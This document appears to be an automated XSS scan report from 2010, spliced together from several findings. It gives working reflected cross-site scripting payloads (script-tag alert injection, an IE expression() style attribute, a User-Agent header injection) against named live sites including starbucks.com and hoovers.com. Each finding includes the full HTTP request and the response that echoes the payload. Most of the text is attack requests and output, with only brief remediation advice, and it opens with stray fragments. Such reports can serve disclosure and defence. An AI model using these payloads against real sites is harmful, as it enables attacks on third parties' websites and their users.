TABLE.XSP_OUTLINE {border: 1px #E9E9E;}
</style><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; chars ...[SNIP]... <a rel="nofollow" href="/NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x26amp?93036"><script>alert(1)</script>7d32952a5c5=1&psps_product=r/SE83MXIycGVWU05MZmoxSWl3N3ZYdThPZXBSNENzK2MvQ0lEQ1pwNmd5dz0K"> ...[SNIP]...
1.58. http://www.starbucks.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.starbucks.com
Path:
/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e907a"style%3d"x%3aexpression(alert(1))"1c89abb8bbe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e907a"style="x:expression(alert(1))"1c89abb8bbe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /x22?e907a"style%3d"x%3aexpression(alert(1))"1c89abb8bbe=1 HTTP/1.1 Host: www.starbucks.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 p3p: CP="CAO PSA OUR" Set-Cookie: ASP.NET_SessionId=ljurmhearcadwzjqycenac4c; path=/; HttpOnly Set-Cookie: skin=; path=/ X-Powered-By: ASP.NET Date: Fri, 10 Dec 2010 22:03:26 GMT Connection: close Content-Length: 33586
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/s ...[SNIP]... <a href="http://www.addthis.com/bookmark.php?v=250&username=starbucks&url=http://www.starbucks.com/x22?e907a"style="x:expression(alert(1))"1c89abb8bbe=1" class="addthis_button_compact" title="Post to AddThis"> ...[SNIP]...
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22041"-alert(1)-"dfaa1fb8a3d was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /company/Publix_Super_Markets_Inc/cfykxi-1.html/x22 HTTP/1.1 Host: www.hoovers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)22041"-alert(1)-"dfaa1fb8a3d Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:04:58 GMT Server: Apache Cache-Control: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Set-Cookie: HID=174.121.222.18.1292018698858309; path=/; expires=Wed, 09-Dec-15 22:04:58 GMT; domain=.hoovers.com Set-Cookie: DNBDSESSIONID=2230aba401d393417525;path=/ Set-Cookie: SERVERID=hoovweb24;path=/ Set-Cookie: CAMPAIGN=%3CwddxPacket%20version%3D%271%2E0%27%3E%3Cheader%2F%3E%3Cdata%3E%3Cstruct%3E%3Cvar%20name%3D%27campaignPhone%27%3E%3Cstring%3E8665413918%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignWebFormCode%27%3E%3Cstring%3E70130000000KoKNAA0%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignChatCode%27%3E%3Cstring%3E70130000000KhjR%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignServCode%27%3E%3Cstring%3EDEF%3C%2Fstring%3E%3C%2Fvar%3E%3C%2Fstruct%3E%3C%2Fdata%3E%3C%2FwddxPacket%3E;expires=Sat, 11-Dec-2010 06:00:00 GMT;path=/ Set-Cookie: CAMPAIGN=%3CwddxPacket%20version%3D%271%2E0%27%3E%3Cheader%2F%3E%3Cdata%3E%3Cstruct%3E%3Cvar%20name%3D%27campaignPhone%27%3E%3Cnumber%3E8%2E667043392E9%3C%2Fnumber%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignWebFormCode%27%3E%3Cstring%3E70130000000KoKNAA0%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignChatCode%27%3E%3Cstring%3E70130000000KhjR%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignServCode%27%3E%3Cstring%3EDIR%3C%2Fstring%3E%3C%2Fvar%3E%3C%2Fstruct%3E%3C%2Fdata%3E%3C%2FwddxPacket%3E;expires=Sat, 11-Dec-2010 06:00:00 GMT;path=/ Set-Cookie: IIA=%2D2;expires=Sat, 11-Dec-2010 22:04:59 GMT;path=/ Set-Cookie: IIA=%2D1;expires=Sat, 11-Dec-2010 22:04:59 GMT;path=/ Set-Cookie: PAGEID=348525519;path=/ Set-Cookie: TS=2010%2D12%2D10%2016%3A04%3A52%2E073;path=/ Set-Cookie: COMPONENTID=0;expires=Sun, 02-Dec-2040 22:04:59 GMT;path=/ Set-Cookie: BIGipServerhaspriv-colo2=350343690.20480.0000; path=/ P3P: CP="NON DSP COR ADM DEV CONo TELo DELo SAMo OTRo UNRo LEG PRE" Connection: close Set-Cookie: BIGipServerwww-2=1323618826.20480.0000; path=/ Content-Length: 154988
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<meta http-equiv="Content- ...[SNIP]... <!--#echo var="HTTP_USER_AGENT"-->'; if(ua.indexOf("HTTP_USER_AGENT")>0) ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)22041"-alert(1)-"dfaa1fb8a3d"; var bdcUrl = "http://www.hoovers.com/bdcsearch/rslt_search_xml_feat.asp?partner=7654458&query=sales leads&st=0&mr=3" + "&cip=" + ip + "&ua=" + urlencode(ua); var result = getBDC(bdcUrl).getElementsB ...[SNIP]...
Report generated by XSS.CX at Fri Dec 10 16:20:58 CST 2010.